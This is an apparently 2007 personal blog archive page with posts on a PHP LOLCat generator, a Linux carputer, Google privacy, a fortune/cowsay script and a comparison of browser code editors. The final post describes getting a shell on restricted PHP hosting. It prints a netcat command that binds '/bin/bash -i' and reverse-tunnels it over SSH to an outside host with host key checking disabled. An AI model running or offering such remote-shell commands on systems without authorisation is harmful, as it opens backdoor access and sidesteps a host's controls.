Archive for June, 2007

LOLCat Generator in PHP

Friday, June 29th, 2007

Last night I had a discussion with my roommate and decided that it would be pretty trivial to make a php script that generated LOLCats, since everyone else was doing it. Of course, as far as I know there are no free LOLCat generator scripts, so without further ado, I present to you my open source LOLCat generator script. It includes a demo page to show how its supposed to work. There are a number of parameters you can adjust… its intended to be used as a library. You can download it from my software page.

LOLCats Generator page

Download Page: http://www.virtualroadside.com/download/lolcats-0.1.zip

LOLCat

Let me know if you find any bugs. 🙂

Carputer Pictures Updated!

Thursday, June 28th, 2007

I’d like to point out that I just added some new pictures of the carputer and the AWESOME case that I was able to convince my dad to make! Seriously, the picture of the case does not do it justice. Heres one of them:

View of the carputer case.

You can view the other pictures of the linux carputer (including pictures of it mounted in my car, finally) at the carputer portion of the site.

Business tips you can learn from strippers

Wednesday, June 27th, 2007

Quite honestly, I don’t really read any blogs on a regular basis of any sort. However, I am definitely one of those types of peoples that start clicking on interesting links and reading them and wasting horrible amounts of time on them (this is why I avoid Wikipedia if I can).

Anyways , this is a great link I randomly found. 10 sales and marketing tips this guy learned from strippers. Enjoy.

http://www.wisecamel.com/2007/06/20/10-sales-and-marketing-tips-i-learned-from-strippers/

Virtual Roadside on the Wii!

Friday, June 22nd, 2007

I’ve been busy working on stuff for Boys State for the last week, so pardon the lack of blogging. 🙂

I created the virtual roadside almost a year ago, and it was my first major effort with javascript. I tried to be standards compliant and such, but never realized how good of a job I did until recently when some friends and I were browsing the web with my friend’s Wii… so we went to the Virtual Roadside and to my utter surprise it worked flawlessly! How crazy is that?  Anyways, heres the link:

Virtual Roadside on the Wii 

Samba over an SSH proxy

Sunday, June 17th, 2007

I’m at Boys State for the fifth year in a row as a staff member where I serve as the webmaster/technical support person. Its always a lot of fun here at MSU, especially with the gigabit ethernet that I have access to… simply awesome.

Anyways, I needed to do some development on my server at home, and really.. my favorite editing tool for PHP is Notepad++, hands down. So, I found this link that tells you how to setup a SSH tunnel that lets you connect to a samba server on the remote server. Pretty neat idea.. it tells you to install a virtual network adapter that you can do your port forwarding to. Anyways, heres the link:

http://www.blisstonia.com/eolson/notes/smboverssh.php

Google to be the “Next Great Satan?”

Wednesday, June 13th, 2007

Now, don’t get me wrong, I love google. I use their search engine for most of my searching needs (thanks to the Firefox browser bar), I have a gmail account that I’m starting to like to use more and more, I have adsense, I use Google Maps for any directions that I may need when my car computer and its GPS isn’t quite working… and the list goes on.

Google fails privacy study

Apparently, Google is one of the worst companies when it comes to privacy, which I certainly could believe. I mean, if I sign into gmail, then do a search from the firefox search box, then it shows my email address and ‘My recent search history’… which really, I don’t mind all that much, but I certainly don’t remember signing up for that. And theres a lot of instances where some google tool or another will show some search data or whatever somewhere that I never really expected it to show up.

I think right now Google is doing a lot of good things, and is moving their data around for a lot of good, useful purposes. I mean, the whole “Web 2.0” thing is about sharing and manipulating data in useful social contexts. However, theres a ton of potential for bad as well as good, and Google having bad privacy policies is just the start.

Right now, a lot of people hate Microsoft for a variety of reasons (many of which I think may be justified, many that aren’t as well). However, I think in the future Google will be the next target for people looking for something to hate. Disregarding their “Don’t be evil” mantra, you can only go so long with that kind of success before you start on the evil path. People used to fear big brother… well, with Google street view it almost is big brother now (yes, they’re not the first to do that).

All in all, I still love my Google tools, and you’ll have to pry them away from my cold dead hands until there is something better out there. But, soon enough Google will be Evil. And we’ll still use their tools, just like we use Microsoft Windows. Just watch.

rndsay: Random cow sayings and fortune combined

Saturday, June 9th, 2007

Have you ever used fortune? Or how about cowsay (or for that matter, have you even heard of it?) . If you haven’t heard of them… well, you’re missing part of your Linux experience.

Fortune (or fortune-mod), is a program that prints out random quotes/funny things on the console — it is IMHO essential to have in ANY linux system, especially if you run it on login. Cowsay is a program that prints out the text passed to it in a bubble, with a cow illustration. Its extremely amusing.

Anyways, I combined fortune and cowsay awhile ago in a script that randomly selects a different cow and cow type to display the fortune, and I have it installed in my /etc/bash/bashrc file. Heres an example of some output from it.

 ________________________________________
( Do you know the difference between     )
( education and experience? Education is )
( what you get when you read the fine    )
( print; experience is what you get when )
( you don't.                             )
(                                        )
( -- Pete Seeger                         )
 ----------------------------------------
        o   ^__^
         o  (@@)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Enjoy! http://www.virtualroadside.com/download/rndsay.tar.bz2

Codepress vs. Editarea

Friday, June 8th, 2007

A short while ago I wrote an article discussing Codepress, and some of the problems I had with it (link to Codepress Problems). There were other issues that came up as well over the past few weeks, but I found a different javascript-based highlighter called Editarea. Editarea appears to have been around about the same amount of time as Codepress, except that it seems to be harder to find. Anyways, a short table of some of the features that they both have/don’t have.

  Codepress Editarea
Syntax Highlighting
Syntax Highlighting (web things like HTML, CSS, JS) Yes Yes
Switch syntax highlighting “On the fly” Yes No
Convienence Factors
Auto Complete Yes No
Auto Indent No Yes
Change Tab Size No No
CTRL-S support Simple patch Simple patch, has save button
Find/Replace No Yes
Indent selected blocks of text Complex patch Yes
Show Cursor Information (line, column) No Yes
Word Wrap No No
Copy/Paste Removes tabs Original Text
Feel
Speed Quick Slow
Bugs Stable Stable
Misc
Dynamic Line Numbers No Yes
Browser Support IE, Firefox, Opera IE, Firefox, Opera
Ease of integration Easy, has install notes Easy, has more documentation and options

So, who wins? Right now, I say Editarea is winning, since Find/Replace, good copy/paste, and block indenting are all critical features that you don’t realize you’re missing until they’re gone. However, I feel that in the future both editors will continue to improve significantly. Hopefully they solve the tab size problem.. 🙂

Note: While writing this, I found yet another syntax highlighting editor with no official name at http://marijn.haverbeke.nl/highlight/ . This one isn’t quite as nice looking as Editarea or Codepress, BUT it does appear to do word-wrapping nicely. I’ll have to look into it more.

How to get remote SSH shell access on some servers running PHP

Saturday, June 2nd, 2007

I was trying to do an XML dump with MediaWiki for a friend, and the tools MediaWiki provides to do it requires shell access — which my friend does not have in his hosting package. So I tried using phpshell, but got annoyed that it would freeze anytime I executed something that required user input. After much thought, I devised a way to create an SSH shell using PHP (sorta) that I could use. Heres how you can do it too.

The Concept:

PHP can (usually) execute arbitrary executable files on the server that it resides on. If the executable forks, then it can open other programs or connect to remote resources, without hanging the PHP connection. I’ve written a program that does this, and executes a statement that connects to a remote SSH server, creates a tunnel to it, and opens a shell on that tunnel so that a user on the remote SSH server can connect to that port and use the shell. The statement looks like this:

netcat -l -p 20000 -s 127.0.0.1 -e "/bin/bash -i" | ssh -NR 20001:localhost:20000 username@hostname -o "StrictHostKeyChecking false" -i key_file_name

You can connect to this shell by doing a

netcat localhost 20001

on the remote SSH server. You need to setup an SSH key on both servers so that the authentication doesn’t ask you for a password at all (see below). Of course, if those programs don’t exist on the remote server then this wont work (however, I have included a compiled version of gnu-netcat with the program that you can use).

The Usage:

This code works, but is still mostly a ‘proof of concept’.

Requirements:

  • You must be able to upload files to the server and ensure they are executable (though, the software tries to set the executable bits if it is not the case)
  • You must be either able to compile files in a executable format that the server can execute, or you must be able to compile files on the server itself (in which case, you probably don’t need this program!).
  • The user that the webserver (or the php CGI script) is running as must be able to write to a file
  • You need an accessible SSH server setup somewhere that you can add user accounts to
  • Forwarding must be enabled (default: yes)
  • Public key authentication must be enabled (default: yes)
  • It needs to have netcat installed
  • I used Linux to set this up

(more…)